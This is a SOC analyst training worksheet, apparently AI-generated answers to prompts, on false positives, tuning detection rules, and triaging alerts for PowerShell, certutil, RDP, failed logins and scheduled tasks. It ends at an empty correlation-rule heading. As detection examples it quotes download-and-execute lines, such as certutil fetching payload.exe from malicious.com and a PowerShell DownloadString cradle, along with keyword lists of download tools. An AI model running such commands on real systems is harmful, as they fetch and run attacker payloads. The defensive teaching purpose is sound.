Task 1 – Understanding False Positives Ask AI: Explain: False positives False negatives True positives True negatives Why false positives occur in SOC environments Their impact on security operations

Task 1 – Understanding False Positives

In a Security Operations Center (SOC), analysts review thousands of security alerts every day. Not every alert represents a real attack. Understanding the difference between true and false detections is essential for effective incident response.

---

1. False Positive (FP)

A **false positive** occurs when a security tool generates an alert for activity that is actually legitimate or harmless.

Simple Definition:

The system says there is an attack, but there isn't one.

Example

A security rule detects **PowerShell** execution as suspicious.

An IT administrator runs a PowerShell script to install Windows updates.

The SIEM generates an alert.

After investigation, the activity is found to be legitimate.

Result:

- Alert generated ✓
- No malicious activity ✓
- **False Positive**

SOC Example

Alert:

powershell.exe -ExecutionPolicy Bypass

Investigation reveals:

- Executed by Domain Administrator
- Used during software deployment
- Approved maintenance window

Classification: False Positive

---

2. False Negative (FN)

A **false negative** occurs when malicious activity happens, but the security system fails to detect it.

Simple Definition:

There is an attack, but the system doesn't detect it.

Example

An attacker uses a newly developed malware variant.

The antivirus has no signature for it.

No alert is generated.

Days later, investigators discover the compromise.

Result:

- Malware executed ✓
- No alert ✓
- **False Negative**

SOC Example

Attacker:

powershell.exe -EncodedCommand <payload>

The detection rule only searches for:

powershell.exe -enc

The attacker uses:

-EncodedCommand

Rule misses the activity.

Classification: False Negative

---

3. True Positive (TP)

A **true positive** occurs when the security tool correctly identifies malicious activity.

Simple Definition:

The system detects a real attack.

Example

Sysmon logs:

certutil.exe -urlcache -split -f http://malicious.com/payload.exe

Investigation shows:

- Download from malicious domain
- Payload executed
- Reverse shell established

Alert is genuine.

Classification: True Positive

---

4. True Negative (TN)

A **true negative** occurs when legitimate activity is correctly ignored because it is not malicious.

Simple Definition:

Nothing malicious happened, and no alert was generated.

Example

User opens:

Microsoft Word

No suspicious behavior.

No alert.

Everything is normal.

Classification: True Negative

Quick Comparison

Situation	Attack Present?	Alert Generated?	Result
True Positive	✅ Yes	✅ Yes	Correct detection
False Positive	❌ No	✅ Yes	Incorrect alert
False Negative	✅ Yes	❌ No	Missed attack
True Negative	❌ No	❌ No	Correctly ignored

Why False Positives Occur in SOC Environments

False positives are common because security tools are designed to detect suspicious behavior rather than confirm malicious intent. Several factors contribute to them:

1. Broad Detection Rules

Rules are intentionally broad to maximize detection coverage.

Example:

- Alert whenever **PowerShell** is executed.

Problem:

- Administrators use PowerShell daily for legitimate tasks.

Result:

- Numerous unnecessary alerts.

---

2. Legitimate Administrative Activity

Many attacker techniques resemble normal IT operations.

Examples:

- PowerShell
- PsExec
- Remote Desktop (RDP)
- Scheduled Tasks
- WMI
- Registry modifications

Since both administrators and attackers use these tools, distinguishing between benign and malicious activity can be challenging.

---

3. Poorly Tuned Detection Rules

Detection logic that lacks exclusions or context can trigger excessive alerts.

Example:

Rule:

Alert on every login failure

Employees occasionally mistype passwords.

The rule generates an alert for each failed attempt.

---

4. Lack of Context

Security tools often analyze isolated events.

Example:

- PowerShell launched.

Without additional context, the tool cannot determine whether it was:

- an approved administrative script,
- a backup process,
- or attacker activity.

Human analysts provide the necessary context during investigation.

---

5. Software Updates

Legitimate software may:

- create new services,
- modify the registry,
- execute PowerShell,
- download files,
- install drivers.

These actions can resemble attacker behavior and trigger alerts.

---

6. Misconfigured Security Tools

Incorrect configurations can cause excessive or inaccurate detections.

Examples:

- Incorrect thresholds
- Wrong log sources
- Missing exclusions
- Duplicate log ingestion

---

7. Behavioral Detection

Modern security solutions use behavior-based detection rather than relying solely on signatures.

Example:

- Office application launches PowerShell.

This could indicate:

- malware,

- a macro,
- or a legitimate automation script.

The tool generates an alert to ensure potentially malicious behavior is reviewed.

Impact of False Positives on Security Operations

Although false positives are safer than missed attacks, they can significantly affect SOC performance.

1. Alert Fatigue

Analysts repeatedly investigate harmless alerts.

Over time, they may become desensitized and overlook genuinely malicious activity.

---

2. Wasted Investigation Time

Time spent on benign alerts reduces the time available for investigating real incidents.

This can delay response to actual threats.

---

3. Increased Operational Costs

Every alert consumes analyst time and organizational resources.

A high false-positive rate often requires:

- more analysts,
- longer investigation times,
- additional infrastructure,
- greater operational expense.

---

4. Delayed Incident Response

If analysts are occupied with false positives, genuine threats may remain undetected for longer periods, increasing the potential impact of an attack.

---

5. Reduced Confidence in Detection Systems

Frequent false alerts can lead analysts to distrust certain detection rules or tools, increasing the risk that important alerts are deprioritized or ignored.

---

6. Detection Rule Tuning Overhead

Security teams must continuously refine detection rules by:

- adding exclusions,
- adjusting thresholds,
- incorporating threat intelligence,
- and validating new detection logic.

Rule tuning is an ongoing responsibility in every SOC.

How SOC Teams Reduce False Positives

- Tune SIEM and EDR detection rules.
- Create allowlists for trusted users, systems, and applications.
- Add contextual information such as user identity, asset criticality, and maintenance windows.
- Correlate multiple events instead of relying on a single alert.
- Use threat intelligence to identify known malicious indicators.
- Review detection performance regularly and update rules based on investigation findings.

Key Takeaways

- **True Positive:** Real attack detected correctly.
- **False Positive:** Benign activity incorrectly flagged as malicious.
- **False Negative:** Real attack missed by the detection system.
- **True Negative:** Legitimate activity correctly ignored.
- False positives commonly result from broad rules, legitimate administrative actions, lack of context, software updates, misconfigurations, and behavior-based detection.
- Excessive false positives lead to alert fatigue, wasted effort, higher costs, slower incident response, and continuous rule-tuning requirements.
- The goal of a SOC is to minimize both false positives and false negatives while maintaining strong detection coverage.

Task 2 – Detection Tuning Ask AI: A PowerShell detection generates 1,000 alerts per day. Explain: Why this happens Common false positives How to tune the detection Before vs after comparison Expected reduction in alerts

Task 2 – Detection Tuning

Detection tuning is the process of refining detection rules so they identify genuinely suspicious activity while minimizing alerts caused by normal, legitimate behavior. The objective is **not** to eliminate alerts, but to improve their quality and ensure analysts spend time on real threats.

Scenario

A SIEM or EDR rule generates:

1,000 PowerShell alerts per day

This overwhelms SOC analysts and makes it difficult to identify genuine attacks.

Why This Happens

Several factors can cause an excessive number of PowerShell alerts.

1. Broad Detection Rule

The rule alerts whenever **powershell.exe** starts.

Example rule:

IF ProcessName = powershell.exe

THEN Generate Alert

Since PowerShell is widely used by administrators, IT tools, and Windows itself, nearly every execution generates an alert.

---

2. Normal Administrative Activity

PowerShell is a standard Windows administration tool.

Examples:

- Installing software
- Windows Updates
- Active Directory administration
- Backup scripts
- Patch deployment
- Configuration management
- User provisioning

These activities are expected and should not always trigger security alerts.

---

3. Automated Scripts

Many organizations run scheduled PowerShell scripts.

Examples:

- Nightly backups
- Log collection
- Health monitoring
- Disk cleanup
- Inventory collection

Each scheduled execution can trigger the detection.

---

4. Endpoint Management Tools

Management platforms frequently use PowerShell behind the scenes.

Examples:

- Microsoft Intune
- Microsoft Configuration Manager (SCCM/MECM)
- Remote monitoring and management (RMM) tools
- Endpoint deployment software

These are legitimate operations but can resemble attacker behavior.

---

5. Security Software

Some EDR and antivirus products execute PowerShell for scanning, remediation, or maintenance tasks, generating additional benign alerts.

Common False Positives

Typical examples include:

Activity	**Why It Triggers**
Windows Update	Uses PowerShell scripts during updates
SCCM/Intune deployments	Executes administrative PowerShell commands
Backup software	Runs scheduled automation scripts
Active Directory administration	Admins manage users, groups, and policies via PowerShell

Activity	Why It Triggers
Scheduled Tasks	Launch PowerShell for maintenance jobs
Login scripts	Execute when users sign in
Monitoring tools	Collect system information using PowerShell
Helpdesk automation	Resets passwords, gathers diagnostics, or performs remote administration

These activities are legitimate but match the detection rule.

Example of a Poor Detection Rule

Alert whenever powershell.exe executes.

Problems:

- No command-line inspection
- No parent process validation
- No user context
- No exclusions
- No behavioral analysis

Result:

- Very high alert volume
- Low detection quality

How to Tune the Detection

Instead of alerting on every PowerShell execution, focus on behaviors commonly associated with attacks.

1. Detect Suspicious Command-Line Arguments

Alert on indicators such as:

-EncodedCommand

-enc

-ExecutionPolicy Bypass

-NoProfile

-WindowStyle Hidden

These switches are frequently used to evade detection or execute obfuscated scripts.

---

2. Detect File Downloads

Prioritize commands that retrieve content from external sources.

Examples:

Invoke-WebRequest

iwr

curl

wget

Start-BitsTransfer

Net.WebClient

DownloadString()

These are common techniques for downloading malicious payloads.

---

3. Look for Obfuscation

Flag suspicious patterns such as:

- Base64-encoded commands
- Long encoded strings
- Heavy use of string concatenation
- Reflection
- Dynamic execution (Invoke-Expression)

Attackers often obfuscate scripts to bypass security controls.

---

4. Check the Parent Process

PowerShell launched by unexpected parent processes is more suspicious.

More suspicious:

- winword.exe
- excel.exe
- outlook.exe
- wscript.exe
- cscript.exe

- mshta.exe

Usually expected:

- explorer.exe
- services.exe
- taskeng.exe (scheduled tasks)
- Configuration management agents

Office applications launching PowerShell may indicate macro-based attacks.

---

5. Exclude Trusted Administrators

If specific IT administrators routinely run approved scripts, consider allowlisting:

- Service accounts
- Deployment accounts
- Trusted administrative users

Avoid excluding all administrators without proper review.

---

6. Exclude Known Automation

Allowlist trusted automation, such as:

- Approved backup scripts
- Inventory collection scripts
- Monitoring agents
- Patch deployment tools

This reduces recurring benign alerts.

---

7. Correlate Multiple Events

Rather than alerting on PowerShell alone, look for combinations of suspicious behaviors.

Example sequence:

PowerShell

↓

Downloads executable

↓

Creates Scheduled Task

↓

Makes outbound HTTPS connection

A chain of related events provides much stronger evidence of malicious activity than a single process execution.

Before vs After Detection

Before Tuning	**After Tuning**
Alert on every PowerShell process	Alert only on suspicious PowerShell behavior
1,000 alerts/day	Focused alerts for high-risk activity
Mostly false positives	Higher percentage of true positives
Analysts investigate every execution	Analysts investigate only meaningful alerts
No context	Uses command-line, parent process, user, and behavior
High alert fatigue	Reduced alert fatigue and improved efficiency

---

Example

Before

Detection:

powershell.exe

Alerts:

User opens PowerShell

IT script runs

Backup executes

Windows Update runs

Monitoring agent starts

Alerts Generated: 1,000/day

Most are false positives.

After

Detection:

PowerShell

AND -EncodedCommand

OR

PowerShell downloads a file

OR

PowerShell creates persistence

OR

PowerShell spawned by Microsoft Word

OR

PowerShell makes outbound connection

Alerts:

PowerShell -EncodedCommand

PowerShell downloads malware

PowerShell launched by Word

PowerShell creates Scheduled Task

PowerShell contacts suspicious IP

Only genuinely suspicious behavior generates alerts.

Expected Reduction in Alerts

The exact reduction depends on the organization's environment, but effective tuning typically produces significant improvements.

Stage	Alerts/Day
Initial detection	1,000
Remove trusted automation	650
Exclude approved administrative tasks	350
Detect suspicious command-line arguments	150
Add event correlation and behavioral logic	40–80

Typical Reduction: 90–96% fewer alerts

At the same time, the proportion of **true positives** generally increases because the remaining alerts are based on behaviors more strongly associated with malicious activity.

Best Practices for Detection Tuning

- Start with broad detection to establish visibility.
- Review alerts regularly to identify recurring false positives.
- Create allowlists only for verified, trusted activity.
- Add context such as command-line arguments, parent process, user identity, asset criticality, and network behavior.
- Correlate multiple related events instead of relying on a single indicator.
- Validate tuned rules against known attack techniques (e.g., MITRE ATT&CK) to ensure malicious behavior is still detected.
- Continuously monitor detection performance and refine rules as environments and attacker techniques evolve.

Key Takeaways

- Excessive PowerShell alerts usually result from overly broad detection rules and legitimate administrative activity.
- Common false positives include Windows updates, endpoint management tools, backup scripts, monitoring agents, and approved administrative automation.
- Detection tuning improves alert quality by focusing on suspicious behaviors such as encoded commands, downloads, obfuscation, unusual parent processes, and correlated attack sequences.

- A well-tuned rule can often reduce alert volume by **90–96%**, allowing SOC analysts to focus on genuine threats while reducing alert fatigue.

Task 3 – Real-World Examples Ask AI: Provide false-positive analysis for: PowerShell Certutil RDP Failed logins Scheduled Tasks For each include: Legitimate causes Malicious indicators Tuning recommendations Detection improvements

Task 3 – Real-World False Positive Analysis

False positives are inevitable in SOC operations because many tools and techniques used by attackers are also used by administrators for legitimate purposes. The goal is to distinguish **normal administrative activity** from **malicious behavior** by adding context and refining detection rules.

---

1. PowerShell

Legitimate Causes

PowerShell is one of the most widely used Windows administration tools.

Common legitimate uses include:

- Windows administration
- Active Directory management
- Software installation
- Patch deployment
- Backup automation
- System monitoring
- Login scripts
- Microsoft Intune/SCCM automation
- Azure administration

Example

Get-Service

or

Install-WindowsUpdate

These commands are normal administrative operations.

Malicious Indicators

Attackers frequently abuse PowerShell because it is powerful and installed by default.

Look for:

- -EncodedCommand
- -ExecutionPolicy Bypass
- -NoProfile
- Invoke-WebRequest
- Invoke-Expression (IEX)
- DownloadString()
- Base64-encoded commands
- Hidden windows (-WindowStyle Hidden)
- Outbound network connections
- PowerShell launched from Microsoft Office applications

Example

powershell.exe -EncodedCommand SQBmACg...

or

IEX (New-Object Net.WebClient).DownloadString(...)

Tuning Recommendations

- Alert on suspicious command-line arguments instead of all PowerShell executions.
- Exclude approved administrative scripts.
- Allowlist trusted service accounts.
- Validate parent processes.
- Correlate PowerShell activity with network and persistence events.

Detection Improvements

Before

Alert whenever powershell.exe starts

After

Alert only if PowerShell:

- uses encoded commands,
- downloads files,
- executes obfuscated scripts,

- creates persistence,
- or is launched by Office applications.

---

2. Certutil

Legitimate Causes

certutil.exe is a built-in Windows certificate management utility.

Legitimate uses include:

- Managing certificates
- Verifying certificate stores
- Exporting/importing certificates
- PKI administration
- Certificate troubleshooting

Example

certutil -store My

Malicious Indicators

Attackers abuse Certutil to download payloads.

Common indicators:

- -urlcache
- -split
- Downloading files from HTTP/HTTPS URLs
- Saving executables to user folders
- Encoding or decoding payloads
- Followed by PowerShell execution

Example

certutil -urlcache -split -f http://malicious.com/payload.exe payload.exe

---

Tuning Recommendations

- Alert only when network download switches are used.
- Ignore certificate store queries.
- Monitor downloaded file types.
- Check destination paths.

- Correlate with subsequent process execution.

Detection Improvements

Before

Alert on every certutil.exe execution

After

Alert when Certutil:

- downloads external files,
- decodes suspicious payloads,
- writes executables,
- or launches another suspicious process.

---

3. Remote Desktop Protocol (RDP)

Legitimate Causes

RDP is commonly used for:

- Remote administration
- Helpdesk support
- Server management
- Work-from-home access
- Cloud VM administration

Malicious Indicators

Watch for:

- Numerous failed login attempts
- Successful login after repeated failures
- Administrator logins from unusual locations
- Logins outside business hours
- New user creation after login
- PowerShell execution after login
- Persistence creation
- Outbound connections after login

Tuning Recommendations

- Baseline normal administrator login behavior.
- Alert on impossible travel or unusual geolocation.
- Detect brute-force patterns.
- Monitor privileged accounts separately.
- Correlate login events with post-authentication activity.

Detection Improvements

Before

Alert on every successful RDP login

After

Alert only when:

- multiple failures precede success,
- privileged accounts authenticate unexpectedly,
- or suspicious actions follow the login.

---

4. Failed Logins

Legitimate Causes

Failed logins happen regularly because of:

- Mistyped passwords
- Expired passwords
- Locked accounts
- Cached credentials
- Password manager synchronization
- Incorrect mapped drive credentials
- Service account password changes

Malicious Indicators

Potential attack signs include:

- Hundreds of failed logins
- Multiple usernames from one source IP
- Password spraying

- Brute-force attempts
- Geographic anomalies
- Followed by successful authentication

Tuning Recommendations

- Use thresholds (for example, 10 failures within 5 minutes).
- Exclude known service accounts where appropriate.
- Group events by IP address and username.
- Correlate failed and successful logins.
- Add geolocation and asset context.

Detection Improvements

Before

Alert on every failed login

After

Alert when:

- failure thresholds are exceeded,
- password spraying patterns are detected,
- or repeated failures are followed by a successful login.

---

5. Scheduled Tasks

Legitimate Causes

Scheduled Tasks are widely used for automation.

Examples:

- Windows Updates
- Disk cleanup
- Antivirus scans
- Backup jobs
- Patch deployment
- Software maintenance
- Monitoring scripts

Malicious Indicators

Attackers often create Scheduled Tasks for persistence.

Indicators include:

- Tasks created by PowerShell
- Tasks created by Command Prompt
- Random task names
- Executables stored in temporary folders
- Tasks that launch malware
- Tasks created immediately after suspicious downloads

Example

schtasks /create /tn UpdateService /tr payload.exe

Tuning Recommendations

- Allowlist approved task names.
- Monitor task creators.
- Validate executable locations.
- Alert on user-writable directories.
- Correlate with malware downloads and PowerShell activity.

Detection Improvements

Before

Alert whenever a Scheduled Task is created

After

Alert when:

- tasks are created by suspicious processes,
- executables are launched from temporary or user directories,
- or task creation follows other malicious events.

Comparison Summary

Detection	Legitimate Causes	Malicious Indicators	Tuning Recommendations	Detection Improvements
PowerShell	Administration, automation, updates, monitoring	Encoded commands, downloads, obfuscation, Office spawning PowerShell	Allowlist trusted scripts, inspect command-line, validate parent process, correlate events	Alert on suspicious behavior instead of every PowerShell execution
Certutil	Certificate management, PKI administration	External downloads, payload decoding, executable creation	Ignore certificate operations, detect download switches, monitor output files	Alert only on suspicious Certutil usage
RDP	Remote administration, helpdesk, remote work	Brute force, unusual logins, privilege abuse, post-login attacker activity	Baseline normal access, detect anomalies, correlate login with subsequent actions	Alert on risky authentication patterns rather than all RDP logins
Failed Logins	Typing mistakes, expired passwords, cached credentials	Password spraying, brute force, repeated failures followed by success	Apply thresholds, group by IP/user, add geolocation and account context	Focus on attack patterns instead of isolated failures
Scheduled Tasks	Updates, backups, maintenance, monitoring	Persistence, suspicious creators, malware execution	Allowlist known tasks, validate task creator and executable path, correlate with other alerts	Alert on suspicious task creation instead of all task creation events

---

SOC Analyst Takeaways

- Most Windows administrative tools can be used for both legitimate administration and malicious activity.
- A single event rarely confirms an attack; **context** (user, process, parent process, command line, network activity, and timing) is essential.
- Detection tuning should emphasize **behavior-based detection** rather than simply monitoring tool execution.

- Correlating multiple related events—such as PowerShell → file download → Scheduled Task creation → outbound connection—greatly reduces false positives while increasing confidence that an alert represents a real compromise.
- Regular review and tuning of detection rules are critical to maintaining an effective SOC with lower alert fatigue and higher true-positive rates.

Task 4 – Detection Engineering Exercise Ask AI: Review these detections and recommend improvements: Brute-force login rule Encoded PowerShell rule Certutil download rule RDP login rule Scheduled Task rule For each include: Why false positives occur Recommended tuning Severity adjustments Additional correlation opportunities

Task 4 – Detection Engineering Exercise

Detection engineering is the process of creating, testing, and refining detection rules so they identify real threats while minimizing false positives. A good detection rule should provide **high-confidence alerts** without overwhelming analysts with benign activity.

---

1. Brute-Force Login Rule

Example Detection Rule

IF Failed Logins > 5

THEN Generate Alert

Why False Positives Occur

This rule is too broad because failed logins happen frequently during normal operations.

Common legitimate causes include:

- Users mistyping passwords
- Expired passwords
- Locked accounts
- Password manager synchronization failures
- Cached credentials
- Service account authentication issues
- VPN reconnections

These activities can easily exceed a simple threshold.

Recommended Tuning

Instead of alerting on every five failed logins:

- Increase the threshold (e.g., **10–20 failed logins within 5 minutes**).
- Group events by **username and source IP**.
- Detect **multiple usernames from the same IP** (password spraying).
- Detect **one username targeted from multiple IPs**.
- Exclude trusted service accounts where appropriate.
- Consider business hours and user location.

Severity Adjustments

Scenario	Severity
5 failed logins	Informational
10–20 failures in short period	Medium
Password spraying detected	High
Failures followed by successful login	High
Failures against privileged account	Critical

Additional Correlation Opportunities

Correlate failed logins with:

- Successful login (Windows Event ID **4624**)
- Account lockout (Windows Event ID **4740**)
- New account creation
- PowerShell execution
- RDP session establishment
- Outbound network connections

Example Attack Chain

4625 (Multiple Failed Logins)

↓

4624 (Successful Login)

↓

PowerShell Execution

↓

Scheduled Task Creation

This sequence provides much stronger evidence of compromise than failed logins alone.

---

2. Encoded PowerShell Rule

Example Detection Rule

Alert if PowerShell uses -EncodedCommand

Why False Positives Occur

Some administrators and automation tools legitimately use encoded commands to:

- Execute deployment scripts
- Run automation
- Support software packaging
- Perform remote administration

Although uncommon, encoded commands are not always malicious.

Recommended Tuning

Inspect additional context:

- Parent process
- User account
- Command length
- Base64 content
- Network activity
- Child processes
- Script location

Increase confidence if PowerShell:

- downloads a file
- launches another process
- creates persistence

- connects to an unknown IP

Severity Adjustments

Scenario	Severity
Encoded PowerShell only	Medium
Encoded PowerShell + download	High
Encoded PowerShell + persistence	High
Encoded PowerShell + C2 communication	Critical

Additional Correlation Opportunities

Correlate with:

- Sysmon Event ID 1 (Process Creation)
- Sysmon Event ID 3 (Network Connection)
- Sysmon Event ID 11 (File Creation)
- Sysmon Event ID 13 (Registry Modification)
- Windows Event ID 4698 (Scheduled Task Created)

---

3. Certutil Download Rule

Example Detection Rule

Alert whenever certutil.exe executes

Why False Positives Occur

certutil.exe is a legitimate Windows utility used for:

- Certificate management
- PKI administration
- Certificate troubleshooting
- Certificate export/import

Alerting on every execution creates unnecessary noise.

Recommended Tuning

Alert only when Certutil:

- uses -urlcache
- downloads from HTTP/HTTPS
- decodes suspicious files
- saves executables
- writes to user directories

Ignore certificate store queries.

Severity Adjustments

Scenario	Severity
Certificate management	Informational
Payload download	High
Download followed by execution	Critical
Download followed by persistence	Critical

Additional Correlation Opportunities

Correlate with:

- PowerShell execution
- File creation
- Scheduled Task creation
- Registry Run Key modification
- Outbound HTTPS connection

Example Attack Chain

Certutil Download

↓

PowerShell Execution

↓

Registry Persistence

↓

Outbound Connection

---

4. RDP Login Rule

Example Detection Rule

Alert on every successful RDP login

Why False Positives Occur

Successful RDP logins are common for:

- Helpdesk support
- System administrators
- Remote workers
- Cloud server administration
- Scheduled maintenance

Most successful logins are expected.

Recommended Tuning

Alert only when:

- login occurs after repeated failures
- login is from a new location
- login is outside business hours
- privileged account logs in unexpectedly
- impossible travel is detected
- suspicious activity follows login

Severity Adjustments

Scenario	**Severity**
Normal administrator login	Informational

Scenario	Severity
New geographic location	Medium
Login after brute force	High
Privileged account anomaly	High
Login followed by attacker activity	Critical

Additional Correlation Opportunities

Correlate with:

- Windows Event ID 4625 (Failed Logon)
- Windows Event ID 4624 (Successful Logon)
- Windows Event ID 4672 (Special Privileges Assigned)
- PowerShell execution
- New local administrator account creation (Event ID 4720)
- Scheduled Task creation
- Service installation (Event ID 7045)

---

5. Scheduled Task Rule

Example Detection Rule

Alert whenever a Scheduled Task is created

Why False Positives Occur

Scheduled Tasks are widely used for:

- Windows Updates
- Backup software
- Antivirus scans
- Maintenance scripts
- Enterprise automation
- Patch management

Thousands of legitimate tasks may be created in large environments.

Recommended Tuning

Alert only if:

- task created by PowerShell
- task created by Command Prompt
- executable stored in Temp/AppData
- random task names
- task created by standard user
- unsigned executable
- suspicious command line

Allowlist known maintenance tasks.

Severity Adjustments

Scenario	Severity
Windows maintenance task	Informational
Unknown scheduled task	Medium
Task launching executable from Temp	High
Task created after malware execution	Critical

Additional Correlation Opportunities

Correlate with:

- PowerShell
- Certutil
- File downloads
- Registry persistence
- Service creation
- Outbound network connection

Example Attack Chain

PowerShell

↓

Payload Download

↓

Scheduled Task

↓

Outbound HTTPS Connection

Detection Engineering Summary

Detection Rule	Why False Positives Occur	Recommended Tuning	Severity Adjustments	Correlation Opportunities
Brute-Force Login	Mistyped passwords, expired credentials, service account issues	Increase thresholds, group by IP/user, detect spraying, exclude trusted accounts	Informational → Critical based on volume and follow-on activity	Failed logins → Successful login → PowerShell → Persistence
Encoded PowerShell	Legitimate automation and deployment scripts	Inspect parent process, command line, network activity, child processes	Medium → Critical depending on downloads, persistence, or C2	Process creation, network connections, registry changes, Scheduled Tasks
Certutil Download	Certificate administration and PKI tasks	Detect download switches, monitor output path, ignore certificate queries	Informational → Critical based on execution and persistence	PowerShell, file creation, registry changes, outbound connections
RDP Login	Remote administration, helpdesk, remote work	Baseline normal access, detect anomalies, correlate with post-login behavior	Informational → Critical depending on source and follow-on actions	Failed logins, privileged logons, PowerShell, account creation, services

Detection Rule	Why False Positives Occur	Recommended Tuning	Severity Adjustments	Correlation Opportunities
Scheduled Task	System maintenance, backups, updates, automation	Allowlist trusted tasks, validate creator, monitor executable paths	Informational → Critical based on task behavior	PowerShell, Certutil, downloads, registry changes, outbound traffic

---

SOC Analyst Takeaways

- **Context is more valuable than a single event.** Combining process, user, network, and persistence events significantly improves detection accuracy.
- **Detection tuning is an ongoing process.** Rules should be reviewed regularly based on investigation results, environmental changes, and evolving attacker techniques.
- **Dynamic severity improves prioritization.** Instead of assigning a fixed severity, increase alert severity when multiple suspicious indicators occur together.
- **Event correlation is key to reducing false positives.** For example, an encoded PowerShell command by itself may warrant a medium-severity alert, but if it is followed by a file download, Scheduled Task creation, and an outbound connection, it becomes a high-confidence incident requiring immediate investigation.
- **The objective of detection engineering is not to eliminate alerts, but to maximize true positives while minimizing false positives and false negatives.**

Mini Investigation Scenario Scenario A SOC receives the following alerts during routine business hours: PowerShell executed with -ExecutionPolicy Bypass by a systems administrator. Certutil.exe calculated a file hash using -hashfile. An IT administrator logged in via RDP from an approved jump server. A Scheduled Task was created by the organization's software deployment platform. Windows Defender initiated a scheduled scan. Ask AI to: Determine whether each alert is likely a true positive or false positive. Explain the reasoning for each classification. Identify what additional evidence would be needed before declaring an incident. Recommend detection tuning to reduce similar false positives. Suggest correlation rules that would improve detection accuracy without reducing security coverage.

Mini Investigation Scenario – False Positive Analysis

Executive Summary

Based on the available information, **none of the alerts alone indicate malicious activity**. Each event has a legitimate explanation consistent with normal IT operations. At this stage, they are **likely false positives** (or benign events incorrectly flagged as suspicious).

However, a SOC analyst should still validate the surrounding context before closing the alerts.

Alert	Likely Classification	Confidence
PowerShell with -ExecutionPolicy Bypass by Systems Administrator	Likely False Positive	Medium
Certutil -hashfile	Likely False Positive	High
RDP Login from Approved Jump Server	Likely False Positive	High
Scheduled Task by Software Deployment Platform	Likely False Positive	High
Windows Defender Scheduled Scan	Likely False Positive	Very High

---

1. PowerShell Executed with -ExecutionPolicy Bypass

Alert

powershell.exe -ExecutionPolicy Bypass

Executed by a **systems administrator** during business hours.

Classification

Likely False Positive

Reasoning

The -ExecutionPolicy Bypass parameter is commonly associated with attacker activity because it bypasses PowerShell execution policy restrictions.

However, it is also legitimately used by administrators for:

- Software deployment
- Automation scripts
- Configuration management
- Patch installation
- Enterprise administration

The context significantly reduces suspicion:

- Executed by a known systems administrator
- During business hours
- Administrative account
- No other suspicious activity reported

Therefore, the alert alone does not indicate malicious behavior.

Additional Evidence Needed

Before closing the alert, verify:

- Full command line
- Script path
- Script hash
- Parent process
- Digital signature
- Whether the script is organization-approved
- Network connections
- Child processes
- File modifications

Questions to answer:

- Was PowerShell downloading anything?
- Was persistence created?
- Was malware executed?
- Was the script part of a change request?

Detection Tuning

Instead of alerting on every:

ExecutionPolicy Bypass

Alert when combined with:

- -EncodedCommand
- Invoke-WebRequest
- DownloadString
- Base64 commands
- Office spawning PowerShell

- Network connections
- Scheduled Task creation

Improved Correlation Rule

PowerShell

AND ExecutionPolicy Bypass

AND External Network Connection

AND File Download

Confidence becomes much higher.

---

2. Certutil Calculated File Hash

Alert

certutil -hashfile sample.exe SHA256

Classification

Likely False Positive

Reasoning

certutil -hashfile is commonly used by administrators to:

- Verify downloads
- Validate software integrity
- Compare hashes
- Perform forensic investigations

Unlike:

certutil -urlcache

this command does **not** download files.

No malicious behavior is observed.

Additional Evidence Needed

Investigate:

- Who executed Certutil?
- Which file hash was calculated?

- Is the file legitimate?
- Was the file later executed?
- Was it downloaded recently?

Detection Tuning

Ignore commands such as:

certutil -hashfile

certutil -store

certutil -verify

Focus on:

-urlcache

-split

-decode

-encode

Improved Correlation Rule

Certutil Download

↓

PowerShell Execution

↓

File Execution

This is much stronger than Certutil alone.

---

3. RDP Login

Alert

Administrator logged in via RDP from an approved jump server.

Classification

Likely False Positive

Reasoning

This is expected behavior.

Indicators supporting legitimacy:

- Approved jump server
- IT administrator
- Business hours
- Administrative task

Nothing currently indicates compromise.

Additional Evidence Needed

Verify:

- Source IP matches approved jump server
- MFA success
- Normal login time
- Previous login history
- Device compliance
- No privilege escalation
- No suspicious processes launched afterward

Detection Tuning

Exclude:

- Approved jump servers
- Approved administrator workstations
- Maintenance windows

Alert only if:

- New source IP
- Multiple failures before success
- Geographic anomaly
- Privileged account misuse

Improved Correlation Rule

Failed Logins

↓

Successful RDP

↓

PowerShell

↓

Persistence

---

4. Scheduled Task Created

Alert

Scheduled Task created by software deployment platform.

Classification

Likely False Positive

Reasoning

Enterprise deployment platforms regularly create Scheduled Tasks for:

- Software installation
- Updates
- Patch deployment
- Configuration changes

This is expected behavior.

Additional Evidence Needed

Verify:

- Task creator
- Executable path
- Task name
- Deployment platform logs
- Digital signature
- Change management ticket

Detection Tuning

Allowlist:

- Known deployment platforms

- Microsoft Intune
- SCCM
- Enterprise deployment agents

Still alert if:

- Executable stored in Temp
- Created by PowerShell
- Random task name
- Unknown parent process

Improved Correlation Rule

PowerShell

↓

Scheduled Task

↓

Unknown Executable

---

5. Windows Defender Scheduled Scan

Alert

Windows Defender initiated scheduled scan.

Classification

Likely False Positive (Benign Activity)

Reasoning

Windows Defender automatically performs:

- Scheduled scans
- Signature updates
- Periodic maintenance
- Threat remediation

These activities occur regularly.

Additional Evidence Needed

Confirm:

- Scheduled task triggered scan
- Defender logs
- No malware detected
- Scan policy matches organization schedule

Detection Tuning

Exclude:

- Scheduled scans
- Signature updates
- Automatic maintenance

Alert only when:

- Malware detected
- Tamper protection disabled
- Defender service stopped
- Scan interrupted unexpectedly

Improved Correlation Rule

Defender Scan

↓

Malware Detection

↓

PowerShell

↓

Outbound Connection

Overall Incident Assessment

At this stage:

Alert	**Likely Verdict**
PowerShell	Benign Administrative Activity

Alert	Likely Verdict
Certutil	Benign Administrative Activity
RDP	Legitimate Remote Administration
Scheduled Task	Approved Software Deployment
Defender Scan	Normal System Maintenance

Current Assessment: No evidence of a security incident based on the information provided.

However, because some of these techniques (PowerShell, Certutil, RDP, Scheduled Tasks) are also commonly abused by attackers, they should not be dismissed solely based on the tool used. Validation of user, process, network, and system context remains essential.

Detection Tuning Recommendations

Detection	Recommended Tuning
PowerShell	Alert on encoded commands, downloads, obfuscation, or suspicious parent processes rather than -ExecutionPolicy Bypass alone.
Certutil	Exclude certificate management and hash calculation commands. Focus on download (-urlcache) and decode operations.
RDP	Baseline approved jump servers and administrator accounts. Alert on unusual sources, repeated failures, or anomalous login times.
Scheduled Tasks	Allowlist tasks created by trusted deployment platforms. Alert on tasks created from user-writable directories, suspicious parent processes, or random task names.
Windows Defender	Exclude routine scheduled scans. Prioritize alerts for malware detections, tamper protection events, service stoppage, or scan failures.

Correlation Rules to Improve Detection Accuracy

Instead of treating each event as an isolated alert, correlate related behaviors to increase confidence while reducing false positives.

Rule 1 – Suspicious PowerShell Activity

